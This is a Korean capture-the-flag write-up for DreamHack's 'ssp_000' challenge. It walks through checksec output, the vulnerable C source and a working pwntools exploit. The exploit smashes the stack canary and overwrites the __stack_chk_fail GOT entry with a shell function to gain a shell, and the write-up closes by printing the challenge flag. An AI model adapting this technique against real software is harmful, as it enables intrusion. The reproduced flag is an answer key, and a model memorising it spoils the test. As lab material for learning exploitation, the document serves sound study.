silvergun8291.log님의 ssp_000을 참고하였습니다!!

ssp를 우회하여 익스플로잇해 셸을 흭득하고, flag파일을 읽어내는 것이 목표입니다.
[*] '/Users/protectuser/Desktop/DreamHack/ssp_000/ssp_000'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Canary와 NX보호 기법이 걸려있습니다.
이제 문제 코드를 살펴보며 취약점을 분석하겠습니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
get_shell함수가 있습니다.checksec을 통해 카나리 보호 기법이 걸려있는 것을 알 수 있었습니다. 카나리 릭을 통해 문제를 해결하려고 했지만 정확히 알 수가 없는 상황입니다.
하지만 임의 주소에 원하는 값을 쓸 수 있는 취약점이 있기 때문에 카나리를 변조해서 stack_chk_fail 함수가 실행되게 하고 stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite를 하면 쉘을 띄울 수 있을 거 같습니다.
1. Canary 값 변조
2. __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite
3. __stack_chk_fail 함수가 실행되면 쉘 획득
카나리 값을 변조할 만큼 A의 갯수를 늘린다.
from pwn import *
p = remote("host3.dreamhack.games", 8480)
e = ELF("./ssp_000")
get_shell = e.symbols['get_shell']
stack_chk_fail_got = e.got['__stack_chk_fail']
payload = b'A' * 0x50
p.sendline(payload)
print("[+] stack_chk_fail: ", hex(stack_chk_fail_got))
p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))
p.interactive()

쉘을 획득할 수 있습니다.
플래그는 다음과 같습니다.
cat flag
DH{e4d253b82911565ad8dd9625fb491ab0}